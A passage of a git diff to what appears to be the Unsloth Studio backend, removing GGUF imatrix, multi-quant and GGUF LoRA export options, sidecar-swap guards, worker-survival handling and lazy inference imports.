it, else older builds raise - # an unexpected-keyword error even for a plain no-imatrix export. - if imatrix_file is not None and not _supports_kwarg( - self.current_model.save_pretrained_gguf, "imatrix_file" - ): - return ( - False, - "This Unsloth build does not support GGUF imatrix export. " - "Upgrade unsloth and unsloth_zoo, or disable the imatrix option.", - None, - ) - imatrix_kw = {"imatrix_file": imatrix_file} if imatrix_file is not None else {} - output_path: Optional[str] = None model_tmp_to_cleanup: Optional[str] = None try: - # Normalize to a lowercased list so multiple quants come from one model load. - if isinstance(quantization_method, (list, tuple)): - quant_methods = [str(q).lower() for q in quantization_method if str(q).strip()] - else: - quant_methods = [str(quantization_method).lower()] - if not quant_methods: - quant_methods = ["q4_k_m"] - quant_method = quant_methods if len(quant_methods) > 1 else quant_methods[0] + # unsloth expects lowercase quant method + quant_method = quantization_method.lower() # Pin convert_hf_to_gguf.py to setup.sh's tagged llama.cpp ref so it # can't drift past the pinned llama-quantize binary's gguf API. @@ -1053,7 +691,6 @@ class ExportBackend: _model_tmp, self.current_tokenizer, quantization_method = quant_method, - **imatrix_kw, ) # Relocate the .gguf that convert_to_gguf wrote to cwd (repo root). @@ -1120,13 +757,12 @@ class ExportBackend: self.current_tokenizer, quantization_method = quant_method, token = hf_token, - **imatrix_kw, ) logger.info(f"GGUF model pushed successfully to {repo_id}") return ( True, - f"GGUF model exported successfully ({', '.join(quant_methods)})", + f"GGUF model exported successfully ({quantization_method})", output_path, ) @@ -1146,71 +782,19 @@ class ExportBackend: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, - gguf: bool = False, - gguf_outtype: str = "q8_0", ) -> Tuple[bool, str, Optional[str]]: """ Export LoRA adapter only (not merged). - Args: - gguf: If True, also convert the adapter to a GGUF LoRA file (llama.cpp - convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`. - gguf_outtype: GGUF LoRA output float type; one of q8_0/f16/bf16/f32. - Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ - if not _export_runtime_available(): - return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None if not self.is_peft: return False, "This is not a PEFT model. No adapter to export.", None - _GGUF_LORA_OUTTYPES = ("q8_0", "f16", "bf16", "f32") - if gguf: - if _IS_MLX: - return ( - False, - "GGUF LoRA adapter export is not supported on macOS/MLX. " - "Use the safetensors adapter instead.", - None, - ) - # llama.cpp's convert_lora_to_gguf.py has no concept of DoRA's - # lora_magnitude_vector tensors: it only reads the standard - # lora_A/lora_B delta, so exporting a DoRA adapter would silently - # drop the magnitude rescaling and produce a GGUF LoRA file that - # loads fine but no longer matches the trained model. - _peft_config = getattr(self.current_model, "peft_config", {}).get("default") - if getattr(_peft_config, "use_dora", False): - return ( - False, - "GGUF LoRA export is not supported for DoRA adapters: the GGUF LoRA " - "format has no way to represent DoRA's magnitude vectors, so the " - "exported file would silently lose the DoRA behavior. Use the " - "safetensors adapter instead, or merge to a full GGUF model.", - None, - ) - outtype = str(gguf_outtype).lower() - if outtype not in _GGUF_LORA_OUTTYPES: - return ( - False, - f"Invalid GGUF LoRA outtype '{gguf_outtype}'. " - f"Choose one of {', '.join(_GGUF_LORA_OUTTYPES)}.", - None, - ) - # getattr so an older build without save_pretrained_gguf returns a clean message - # instead of an AttributeError (a generic 500). - _save_gguf_fn = getattr(self.current_model, "save_pretrained_gguf", None) - if _save_gguf_fn is None or not _supports_kwarg(_save_gguf_fn, "save_method"): - return ( - False, - "This Unsloth build does not support GGUF LoRA adapter export. " - "Upgrade unsloth and unsloth_zoo, or export the safetensors adapter.", - None, - ) - output_path: Optional[str] = None try: if save_directory: @@ -1218,24 +802,7 @@ class ExportBackend: logger.info(f"Saving LoRA adapter locally to: {save_directory}") ensure_dir(Path(save_directory)) - if gguf: - # Writes the adapter files plus "-lora-.gguf". - _apply_wsl_sudo_patch() - self.current_model.save_pretrained_gguf( - save_directory, - self.current_tokenizer, - save_method = "lora", - quantization_method = outtype, - # Forward the token so convert_lora_to_gguf.py can fetch a gated base's config. - token = hf_token or None, - ) - final_ggufs = sorted(glob.glob(os.path.join(save_directory, "*.gguf"))) - logger.info( - "LoRA GGUF export complete. Files in %s:\n %s", - save_directory, - "\n ".join(os.path.basename(f) for f in final_ggufs) or "(none)", - ) - elif _IS_MLX: + if _IS_MLX: # MLX: save adapters.safetensors + tokenizer files self.current_model.save_lora_adapters(save_directory) self.current_tokenizer.save_pretrained(save_directory) @@ -1255,24 +822,7 @@ class ExportBackend: logger.info(f"Pushing LoRA adapter to Hub: {repo_id}") - if gguf: - # Upload the locally-built GGUF folder; needs a local save_directory so the - # conversion is not re-run. - if not (output_path and Path(output_path).is_dir()): - return ( - False, - "GGUF LoRA Hub upload requires a local save directory; set one and " - "retry.", - None, - ) - hf_api = HfApi(token = hf_token) - hf_api.create_repo(repo_id, private = private, exist_ok = True) - hf_api.upload_folder( - folder_path = output_path, - repo_id = repo_id, - repo_type = "model", - ) - elif _IS_MLX: + if _IS_MLX: with tempfile.TemporaryDirectory() as tmp_dir: self.current_model.save_lora_adapters(tmp_dir) self.current_tokenizer.save_pretrained(tmp_dir) diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py index aaf48615f0..478624b48e 100644 --- a/studio/backend/core/export/orchestrator.py +++ b/studio/backend/core/export/orchestrator.py @@ -132,11 +132,6 @@ class ExportOrchestrator: """True while an export / load / cleanup command is running.""" return self._export_active - def is_worker_alive(self) -> bool: - """True while the persistent export subprocess is running (op or idle).""" - proc = self._proc - return proc is not None and proc.is_alive() - def was_cancelled(self) -> bool: """True if the in-flight (or most recent) run was cancelled by the user.""" return self._cancel_requested @@ -209,41 +204,20 @@ class ExportOrchestrator: def _spawn_subprocess(self, config: dict) -> None: """Spawn a new export subprocess.""" - # Last-resort recheck for spawns outside an active op. Inside an op, _export_active is set and - # load_checkpoint already rechecked, so a reservation here is an install about to observe - # is_export_active() and abort; raising would kill this export for an install that never proceeds. - from utils.transformers_version import sidecar_swap_in_progress - - from utils.transformers_version import sidecar_swap_kind - - _swap_kind = sidecar_swap_kind() - # Inside an active op an INSTALL reservation is about to abort on the - # is_export_active check, but a lazy REPAIR has no such check and can be - # rebuilding the sidecar right now, so it must always refuse the spawn. - if _swap_kind == "repair" or (_swap_kind is not None and not self._export_active): - from utils.transformers_version import SidecarSwapInProgress - raise SidecarSwapInProgress( - "A transformers installation is replacing the latest sidecar; " - "retry when it completes." - ) from utils.native_path_leases import ( native_path_secret_removed_for_child_start, run_without_native_path_secret, ) - from utils.hf_cache_settings import child_environment_for_spawn, get_hf_cache_paths - cache_env = get_hf_cache_paths().child_env({}) + from .worker import run_export_process - with ( - child_environment_for_spawn(cache_env), - native_path_secret_removed_for_child_start(), - ): + with native_path_secret_removed_for_child_start(): self._cmd_queue = _CTX.Queue() self._resp_queue = _CTX.Queue() self._proc = _CTX.Process( target = run_without_native_path_secret, - args = ("core.export.worker", "run_export_process", cache_env), + args = (run_export_process,), kwargs = { "cmd_queue": self._cmd_queue, "resp_queue": self._resp_queue, @@ -257,17 +231,11 @@ class ExportOrchestrator: adopt_pid(self._proc.pid) # bind to parent lifetime (Windows job / sweep) logger.info("Export subprocess started (pid=%s)", self._proc.pid) - def _shutdown_subprocess(self, timeout: float = 10.0) -> bool: - """Gracefully shut down the export subprocess. - - Returns True only once the worker is confirmed dead. If it survives - terminate/kill (e.g. wedged in an uninterruptible CUDA syscall that outlives - SIGKILL) the live handle is KEPT, not nulled, so is_worker_alive() and the - pre-swap liveness guard can still observe the survivor instead of a cleared - handle and refuse the destructive sidecar swap.""" + def _shutdown_subprocess(self, timeout: float = 10.0) -> None: + """Gracefully shut down the export subprocess.""" if self._proc is None or not self._proc.is_alive(): self._proc = None - return True + return self._drain_queue() @@ -297,20 +265,10 @@ class ExportOrchestrator: except Exception: pass - if self._proc is not None and self._proc.is_alive(): - # Survived SIGKILL (uninterruptible syscall): keep the handle so callers - # and the pre-swap guard see a live worker rather than a nulled one. - logger.error( - "Export subprocess still alive after terminate/kill; " - "preserving its handle for the pre-swap liveness check" - ) - return False - self._proc = None self._cmd_queue = None self._resp_queue = None logger.info("Export subprocess shut down") - return True def _cleanup(self): """atexit handler.""" @@ -381,10 +339,9 @@ class ExportOrchestrator: if rtype == "status": message = resp.get("message", "") - # One structured export_progress line per phase (consolidated in the - # server log, like training/download progress); also shown live. + logger.info("Export subprocess status: %s", message) + # Surface status in the live log panel for high-level progress. if message: - logger.info("export_progress", phase = message) self._append_log( { "stream": "status", @@ -452,44 +409,14 @@ class ExportOrchestrator: self._export_active = True op_success, op_message = False, "" try: - # Handshake with the sidecar install route: _export_active is set above, so either this - # recheck refuses BEFORE tearing down the old worker (keeping the loaded checkpoint), or - # the install sees is_export_active() and 409s. The spawn-time recheck stays as a last resort. - from utils.transformers_version import sidecar_swap_in_progress - - if sidecar_swap_in_progress(): - from utils.transformers_version import SidecarSwapInProgress - op_message = ( - "A transformers installation is replacing the latest " - "sidecar; retry when it completes." - ) - raise SidecarSwapInProgress(op_message) # Always kill any existing subprocess and spawn fresh. if self._ensure_subprocess_alive(): - if self._shutdown_subprocess() is False: - # Survivor still holds GPU memory (a wedged CUDA syscall outliving - # SIGKILL); its handle is kept so is_worker_alive() and the pre-swap - # guard still see it. Do not spawn a second worker over it -- fail so - # the load can retry once it exits. - op_message = ( - "The current export worker did not exit and still holds GPU " - "memory; not starting a new checkpoint load over it. Retry shortly." - ) - return False, op_message + self._shutdown_subprocess() elif self._proc is not None: self._shutdown_subprocess(timeout = 2) logger.info("Spawning fresh export subprocess for '%s'", checkpoint_path) - try: - self._spawn_subprocess(sub_config) - except Exception: - # The old worker is already gone; a stale current_checkpoint - # would make the Export page claim a loaded checkpoint that - # the next op then fails on with "no subprocess running". - self.current_checkpoint = None - self.is_vision = False - self.is_peft = False - raise + self._spawn_subprocess(sub_config) try: resp = self._wait_response("loaded") @@ -529,7 +456,6 @@ class ExportOrchestrator: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, - compressed_method: Optional[str] = None, ) -> Tuple[bool, str, Optional[str]]: """Export merged PEFT model.""" return self._run_export( @@ -541,7 +467,6 @@ class ExportOrchestrator: "repo_id": repo_id, "hf_token": hf_token, "private": private, - "compressed_method": compressed_method, }, ) @@ -570,13 +495,12 @@ class ExportOrchestrator: def export_gguf( self, save_directory: str, - quantization_method = "Q4_K_M", + quantization_method: str = "Q4_K_M", push_to_hub: bool = False, repo_id: Optional[str] = None, hf_token: Optional[str] = None, - imatrix_file = None, ) -> Tuple[bool, str, Optional[str]]: - """Export model in GGUF format. `quantization_method` may be a single method or a list.""" + """Export model in GGUF format.""" return self._run_export( "gguf", { @@ -585,7 +509,6 @@ class ExportOrchestrator: "push_to_hub": push_to_hub, "repo_id": repo_id, "hf_token": hf_token, - "imatrix_file": imatrix_file, }, ) @@ -596,10 +519,8 @@ class ExportOrchestrator: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, - gguf: bool = False, - gguf_outtype: str = "q8_0", ) -> Tuple[bool, str, Optional[str]]: - """Export LoRA adapter only (optionally also as a GGUF LoRA file).""" + """Export LoRA adapter only.""" return self._run_export( "lora", { @@ -608,8 +529,6 @@ class ExportOrchestrator: "repo_id": repo_id, "hf_token": hf_token, "private": private, - "gguf": gguf, - "gguf_outtype": gguf_outtype, }, ) @@ -633,28 +552,12 @@ class ExportOrchestrator: self._export_active = True op_success, op_message, op_output_path = False, "", None try: - # Handshake with the sidecar install route (see load_checkpoint): _export_active is set - # above, so this recheck refuses before the command is sent, or the install sees the active - # op and 409s. Without it, an install would block in cleanup_memory behind a long export op. - from utils.transformers_version import sidecar_swap_in_progress - - if sidecar_swap_in_progress(): - from utils.transformers_version import SidecarSwapInProgress - op_message = ( - "A transformers installation is replacing the latest " - "sidecar; retry when it completes." - ) - raise SidecarSwapInProgress(op_message) cmd = {"type": "export", "export_type": export_type, **params} try: self._send_cmd(cmd) - # GGUF for 30B+ models can take 30+ min per quant; a multi-quant list runs them - # all in one op off a single merge, so scale the timeout by the quant count. - _qm = params.get("quantization_method") - _n = len(_qm) if isinstance(_qm, (list, tuple)) and _qm else 1 resp = self._wait_response( f"export_{export_type}_done", - timeout = 3600 * max(1, _n), + timeout = 3600, # GGUF for 30B+ models can take 30+ min ) op_success = resp.get("success", False) op_message = resp.get("message", "") diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py index 9ecfa73eee..71a603a857 100644 --- a/studio/backend/core/export/worker.py +++ b/studio/backend/core/export/worker.py @@ -236,17 +236,6 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None: checkpoint_path = cmd["checkpoint_path"] max_seq_length = cmd.get("max_seq_length", 2048) load_in_4bit = cmd.get("load_in_4bit", True) - # Latest-sidecar checkpoints load 16-bit here too: bnb 4-bit feeds quantized - # expert weights into unvalidated paths (same flip as the chat worker). - if load_in_4bit: - from utils.transformers_version import latest_tier_active_for - if latest_tier_active_for(checkpoint_path, cmd.get("hf_token")): - load_in_4bit = False - logger.info( - "Latest-transformers sidecar active for %s - forcing a 16-bit " - "export load (4-bit is disabled for brand-new architectures)", - checkpoint_path, - ) trust_remote_code = cmd.get("trust_remote_code", False) # Auto-enable trust_remote_code for NemotronH/Nano models. @@ -398,19 +387,6 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None: # orchestrator spawns a fresh subprocess per checkpoint load, resetting it. _log_forward_gate.set() - # Phase milestone so the heavy export step shows in the server log; the - # merge/save/convert itself only forwards stdout to the live panel. - _phase = { - "merged": f"Exporting merged model ({cmd.get('format_type', '16-bit (FP16)')})...", - "gguf": f"Exporting GGUF ({cmd.get('quantization_method', 'Q4_K_M')})...", - "lora": "Exporting LoRA adapter...", - "base": "Exporting base model...", - }.get(export_type, f"Exporting ({export_type})...") - _send_response( - resp_queue, - {"type": "status", "message": _phase, "ts": time.time()}, - ) - output_path: Any = None try: if export_type == "merged": @@ -421,7 +397,6 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None: repo_id = cmd.get("repo_id"), hf_token = cmd.get("hf_token"), private = cmd.get("private", False), - compressed_method = cmd.get("compressed_method"), ) elif export_type == "base": success, message, output_path = backend.export_base_model( @@ -439,7 +414,6 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None: push_to_hub = cmd.get("push_to_hub", False), repo_id = cmd.get("repo_id"), hf_token = cmd.get("hf_token"), - imatrix_file = cmd.get("imatrix_file"), ) elif export_type == "lora": success, message, output_path = backend.export_lora_adapter( @@ -448,8 +422,6 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None: repo_id = cmd.get("repo_id"), hf_token = cmd.get("hf_token"), private = cmd.get("private", False), - gguf = cmd.get("gguf", False), - gguf_outtype = cmd.get("gguf_outtype", "q8_0"), ) else: success, message = False, f"Unknown export type: {export_type}" diff --git a/studio/backend/core/inference/__init__.py b/studio/backend/core/inference/__init__.py index 1491dfa749..2faf70bb79 100644 --- a/studio/backend/core/inference/__init__.py +++ b/studio/backend/core/inference/__init__.py @@ -7,16 +7,13 @@ Inference submodule - backend for model loading and generation. The default get_inference_backend() returns an InferenceOrchestrator that delegates to a subprocess. The original InferenceBackend runs inside the subprocess and can be imported directly from .inference when needed. - -Public names are resolved lazily (PEP 562): importing this package -- or a -dependency-light leaf like ``core.inference.chat_eos`` -- must NOT eagerly pull -the orchestrator / llama_cpp import chain (httpx, subprocess plumbing, the ML -backend and its Unsloth dependencies). Those load only when a public name is -actually accessed, so standalone helpers stay unit-testable without the full -inference stack. """ -from typing import TYPE_CHECKING +from .orchestrator import InferenceOrchestrator, get_inference_backend +from .llama_cpp import LlamaCppBackend + +# Expose InferenceOrchestrator as InferenceBackend for backward compat. +InferenceBackend = InferenceOrchestrator __all__ = [ "InferenceBackend", @@ -24,33 +21,3 @@ __all__ = [ "get_inference_backend", "LlamaCppBackend", ] - -# name -> (submodule, attribute); InferenceBackend aliases InferenceOrchestrator. -_LAZY_ATTRS = { - "InferenceOrchestrator": ("orchestrator", "InferenceOrchestrator"), - "InferenceBackend": ("orchestrator", "InferenceOrchestrator"), - "get_inference_backend": ("orchestrator", "get_inference_backend"), - "LlamaCppBackend": ("llama_cpp", "LlamaCppBackend"), -} - - -def __getattr__(name): - try: - submodule, attr = _LAZY_ATTRS[name] - except KeyError: - raise AttributeError(f"module {__name__!r} has no attribute {name!r}") from None - from importlib import import_module - - value = getattr(import_module(f"{__name__}.{submodule}"), attr) - globals()[name] = value # cache so later access skips __getattr__ - return value - - -def __dir__(): - return sorted(set(globals()) | set(__all__)) - - -if TYPE_CHECKING: # keep static analysers / IDEs aware of the lazy names - from .llama_cpp import LlamaCppBackend - from .orchestrator import InferenceOrchestrator, get_inference_backend - InferenceBackend = InferenceOrchestrator diff --git a/studio/backend/core/inference/_html_to_md.py b/studio/backend/core/inference/_html_to_md.py index 92471b9866..e7de4a5312 100644 --- a/studio/backend/core/inference/_html_to_md.py +++ b/studio/backend/core/inference/_html_to_md.py @@ -7,11 +7,6 @@ Minimal HTML-to-Markdown converter using only the standard library. Replaces the external ``html2text`` (GPL-3.0) dependency with a ~250-line ``html.parser.HTMLParser`` subclass. Covers headings, links, bold/italic, lists, tables, blockquotes, code blocks, and entity decoding. - -``main_content=True`` also applies a readability-style heuristic: scope -conversion to the page's ``
`` (else ``
``) subtree when it -carries substantial text, and strip known boilerplate fragments (skip-links, -error placeholders, session banners, cookie prompts) from the result. """ from __future__ import annotations @@ -32,138 +27,8 @@ _SKIP_TAGS = frozenset( "math", "nav", "footer", - # Never-rendered / form-chrome elements, not page content. - "template", - "dialog", - "button", - "select", - "datalist", } ) -#